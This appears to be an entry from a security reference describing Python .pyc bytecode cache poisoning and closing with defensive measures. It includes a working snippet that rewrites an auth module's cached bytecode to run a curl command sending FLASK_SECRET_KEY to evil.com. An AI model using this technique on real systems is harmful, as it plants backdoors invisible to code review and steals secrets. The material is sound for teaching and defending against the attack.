.pyc bytecode cache poisoning
On any import of the corresponding module
- Lives in
.pyc files in __pycache__/ directories alongside source modules- Attacker needs
- Filesystem write access
- Lifecycle
- InstallStartupyour codeModule loadRuntimeREPL
Runs on import or require, for every module the app loads.
How it runs
When Python imports a module, it checks __pycache__/ for a compiled .pyc before reading the .py source. The .pyc header stores the source's timestamp and size. Python uses them to decide whether the source changed, not whether the bytecode is legitimate. If the header says the source is unchanged, Python trusts the bytecode without further checks.
The attack keeps the original 16-byte header, with its correct timestamp and size, and replaces only the marshalled code object after it. The .py source is untouched, every validation passes, and the malicious bytecode loads.
import pathlib, marshal
pyc = list(pathlib.Path('routes/__pycache__').glob('auth*.pyc'))[0]
header = pyc.read_bytes()[:16]
evil = compile('import os; os.system("curl https://evil.com/?s=$FLASK_SECRET_KEY")',
'routes/auth.py', 'exec')
pyc.write_bytes(header + marshal.dumps(evil))
This is nasty in shared environments and CI/CD. Write access to __pycache__/ usually comes with the same permissions as the source directory. With it, an attacker can backdoor any module without touching the source. Code review sees nothing. git diff sees nothing.
Defend
Treat __pycache__ as code; use hash-based .pyc invalidation (PEP 552); rebuild bytecode in clean environments; restrict write perms on deployed trees.